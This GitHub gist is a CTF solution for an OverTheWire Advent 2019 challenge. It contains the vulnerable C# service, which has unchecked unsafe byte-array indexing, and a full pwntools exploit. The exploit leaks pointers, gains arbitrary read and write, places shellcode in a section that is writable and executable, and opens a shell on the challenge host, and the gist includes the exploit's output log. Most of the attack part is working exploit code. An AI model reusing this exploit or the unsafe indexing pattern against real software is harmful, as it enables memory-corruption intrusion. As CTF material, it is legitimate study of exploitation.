Last active
November 30, 2020 01:18
-
-
Save KaoRz/07a024b9bae1887c1478f5c1d0dfbdf3 to your computer and use it in GitHub Desktop.
Unmanaged exploit (w/@dialluvioso) - OverTheWire Advent Bonanza CTF 2019
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# NOTE: This Dockerfile is provided for reference ONLY. | |
# It is NOT the production Dockerfile used for the challenge. | |
# The sole purpose here is to reveal the system environment | |
# that the challenge is being hosted in. | |
# | |
# In other words the most important clause is the FROM clause. | |
FROM mcr.microsoft.com/dotnet/core/sdk:3.0 | |
RUN useradd -u 1234 -m demo | |
ADD pwn2.csproj /home/demo | |
ADD Program.cs /home/demo | |
ADD flag.txt /home/demo | |
RUN cd /home/demo && dotnet build -c Release | |
RUN apt-get update | |
RUN apt-get install -y gdb gdbserver | |
RUN apt-get install -y netcat | |
RUN git clone https://github.com/scwuaptx/peda.git ~/peda | |
RUN echo "source ~/peda/peda.py" >> ~/.gdbinit | |
RUN cp ~/peda/.inputrc ~/ | |
WORKDIR /home/demo | |
CMD ["bin/Release/netcoreapp3.0/pwn2"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.Collections.Generic; | |
class Program | |
{ | |
public static int Main(string[] args) | |
{ | |
BinaryReader reader = new BinaryReader(Console.OpenStandardInput(0)); | |
BinaryWriter writer = new BinaryWriter(Console.OpenStandardOutput(0)); | |
List<FastByteArray> arrays = new List<FastByteArray>(); | |
while (true) | |
{ | |
byte action = reader.ReadByte(); | |
// Allocate new byte array | |
if (action == 1) | |
{ | |
byte length = reader.ReadByte(); | |
arrays.Add(new FastByteArray(length)); | |
} | |
// Write a section of a byte array | |
else if (action == 2) | |
{ | |
byte index = reader.ReadByte(); | |
byte offset = reader.ReadByte(); | |
byte size = reader.ReadByte(); | |
arrays[index].Write(offset, size, writer); | |
} | |
// Read a section of a byte array | |
else if (action == 3) | |
{ | |
byte index = reader.ReadByte(); | |
byte offset = reader.ReadByte(); | |
byte size = reader.ReadByte(); | |
arrays[index].Read(offset, size, reader); | |
} | |
} | |
} | |
} | |
class FastByteArray | |
{ | |
private byte[] bytes; | |
private static Random random = new Random(); | |
public FastByteArray(int size) | |
{ | |
bytes = new byte[size]; | |
random.NextBytes(bytes); | |
} | |
public unsafe void Write(byte index, byte size, BinaryWriter writer) | |
{ | |
fixed (byte* b = bytes) | |
{ | |
for (int i = 0; i < size; i++) | |
{ | |
writer.Write(b[index + i]); | |
} | |
} | |
} | |
public unsafe void Read(byte index, byte size, BinaryReader reader) | |
{ | |
fixed (byte* b = bytes) | |
{ | |
for (int i = 0; i < size; i++) | |
{ | |
b[index + i] = reader.ReadByte(); | |
} | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project Sdk="Microsoft.NET.Sdk"> | |
<PropertyGroup> | |
<OutputType>Exe</OutputType> | |
<TargetFramework>netcoreapp3.0</TargetFramework> | |
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> | |
</PropertyGroup> | |
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
sudo docker build -t advent2019-1208 . | |
sudo docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -dit advent2019-1208 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
# coding: utf-8 | |
from pwn import * | |
HOST = "3.93.128.89" | |
PORT = 1208 | |
def alloc(size): | |
io.send(p8(1)) | |
io.send(p8(size)) | |
def write(idx, offset, size): | |
io.send(p8(2)) | |
io.send(p8(idx)) | |
io.send(p8(offset)) | |
io.send(p8(size)) | |
def read(idx, offset, size): | |
io.send(p8(3)) | |
io.send(p8(idx)) | |
io.send(p8(offset)) | |
io.send(p8(size)) | |
def write64(idx, offset): | |
data = b"" | |
write(idx, offset * 8, 8) | |
for _ in range(8): | |
data += io.recv(1) | |
return u64(data) | |
def read64(idx, offset, val): | |
read(idx, offset * 8, 8) | |
for i in p64(val): | |
io.send(p8(i)) | |
def arb_write(addr): | |
read64(15, 28, addr - 0x10) | |
return write64(16, 0) | |
def arb_read(addr, value): | |
read64(15, 28, addr - 0x10) | |
read64(16, 0, value) | |
def dump(): | |
with open("leak.txt", "wb") as f: | |
for i in range(1, 255, 1): | |
alloc(1) | |
print("exploring idx: %d" % i) | |
f.write(b"exploring idx: %d\n" % i) | |
for j in range(32): | |
val = write64(i, j) | |
print("current val: %#x" % val) | |
f.write(b"[%d][%d] current val: %#x\n" % (i, j, val)) | |
io = remote(HOST, PORT) | |
for _ in range(17): | |
alloc(137) | |
base_arr = write64(15, 28) | |
log.success("Leaked base array: " + hex(base_arr)) | |
leak1_ptr = write64(0, 19) + 0x18 | |
log.success("Leaked pointer address to dereference: " + hex(leak1_ptr)) | |
leak2_ptr = arb_write(leak1_ptr) | |
log.info("First dereferenced pointer address: " + hex(leak2_ptr)) | |
leak3_ptr = arb_write(leak2_ptr + 0x10) | |
log.info("Second dereferenced pointer address: " + hex(leak3_ptr)) | |
leak4_ptr = arb_write(leak3_ptr) | |
log.info("Third dereferenced pointer address: " + hex(leak4_ptr)) | |
rwx = leak4_ptr - 0x1e44f0 | |
log.success("RWX section found at " + hex(rwx)) | |
shellcode = asm(shellcraft.amd64.sh(), arch = "amd64") | |
log.info("Writing shellcode at RWX section (Lenght: %d)", len(shellcode)) | |
for i in range(0, len(shellcode), 8): | |
arb_read(rwx + i, u64(shellcode[i:i + 8].ljust(8, b"\x00"))) | |
log.success("Shellcode wrote successfully") | |
''' | |
0x7f51f3b92dd5 mov rax, qword ptr [rax + 0x48] | |
0x7f51f3b92dd9 call qword ptr [rax + 8] | |
''' | |
first_idx = base_arr - 0x14d0 | |
log.success("RAX control at " + hex(first_idx + 0x13)) | |
read64(0, 0, first_idx) | |
read64(0, 1, rwx) | |
read64(0, 19, first_idx - 0x48) | |
alloc(137) | |
io.interactive() | |
io.close() | |
''' | |
kaorz@ubuntu:~/Desktop/Chall8/chall$ ./remote.py | |
[+] Opening connection to 3.93.128.89 on port 1208: Done | |
[+] Leaked base array: 0x7fbc0400a178 | |
[+] Leaked pointer address to dereference: 0x7fbc2c64a300 | |
[*] First dereferenced pointer address: 0x7fbc2bab4020 | |
[*] Second dereferenced pointer address: 0xdda450 | |
[*] Third dereferenced pointer address: 0x7fbca5d8a4f0 | |
[+] RWX segment found at 0x7fbca5ba6000 | |
[*] Writing shellcode at RWX segment (Lenght: 24) | |
[+] Shellcode wrote successfully | |
[+] RAX control at 0x7fbc04008cbb | |
[*] Switching to interactive mode | |
$ ls | |
flag.txt | |
pwn2 | |
pwn2.deps.json | |
pwn2.dll | |
pwn2.pdb | |
pwn2.runtimeconfig.dev.json | |
pwn2.runtimeconfig.json | |
$ cat flag.txt | |
AOTW{1snt_c0rrupt1nG_manAgeD_M3m0ry_easier_than_y0u_th1nk?}$ | |
[*] Interrupted | |
[*] Closed connection to 3.93.128.89 port 1208 | |
''' | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment